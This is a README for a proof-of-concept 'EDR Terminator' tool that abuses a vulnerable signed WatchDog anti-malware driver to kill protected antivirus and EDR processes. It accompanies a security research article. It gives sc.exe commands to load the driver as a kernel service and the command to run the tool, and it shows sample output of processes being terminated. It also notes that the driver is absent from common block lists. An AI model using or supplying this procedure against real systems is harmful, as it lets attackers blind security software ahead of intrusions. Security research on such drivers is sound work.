This repository is the Proof-of-Concept (PoC) accompanying my technical write-up on the WatchDog Anti-Malware (amsdk.sys) BYOVD vulnerability.
👉 Full research available here: Researching an APT Attack and Weaponizing It: The WatchDog BYOVD Story
The Silver Fox APT group leveraged a vulnerable Microsoft-signed driver (wamsdk.sys
) in recent attacks to disable security products.
I reversed the latest WatchDog driver (amsdk.sys v1.1.100
) and discovered that the arbitrary process termination vulnerability was still exploitable.
The driver as of this date 11/9/2025 isnt listed on either LolDriver or HVCI blocked
This PoC demonstrates:
- Registering a process with the driver (
IOCTL_REGISTER_PROCESS
) - Using the termination routine (
IOCTL_TERMINATE_PROCESS
) - Bypassing the driver’s authorization mechanism
- Killing protected EDR/AV processes (Bitdefender, Sophos, Kaspersky, etc.)
⚠️ Disclaimer: This code is for educational and research purposes only. Do not use it on systems you do not own.
-
Load the vulnerable driver:
sc.exe create killer binPath="C:\Path\To\wamsdk.sys" type=kernel sc.exe start killer
-
Run the PoC
.\WatchDogKiller.exe
WatchDog EDR Terminator Tool @j3h4ck
================================================
Successfully opened Zam device
Attempting to register process 9444...
Successfully registered process 9444
Enter PID to terminate: 30724
Wait for process exit? (0 = No, 1 = Yes): 0
Attempting to terminate PID 30724...
Successfully sent terminate request for PID 30724
Terminate request completed successfully.
Enter PID to terminate:
- Research Article: https://medium.com/p/56daabee11c9/
- The Hacker News – Silver Fox Exploits Microsoft-Signed Driver: https://thehackernews.com/2025/09/silver-fox-exploits-microsoft-signed.html
Jehad Abudagga
- LinkedIn: https://www.linkedin.com/in/jehadabudagga/
- GitHub: https://github.com/j3h4ck
This project is released for educational and security research purposes only.
The author does not endorse or condone the misuse of this information.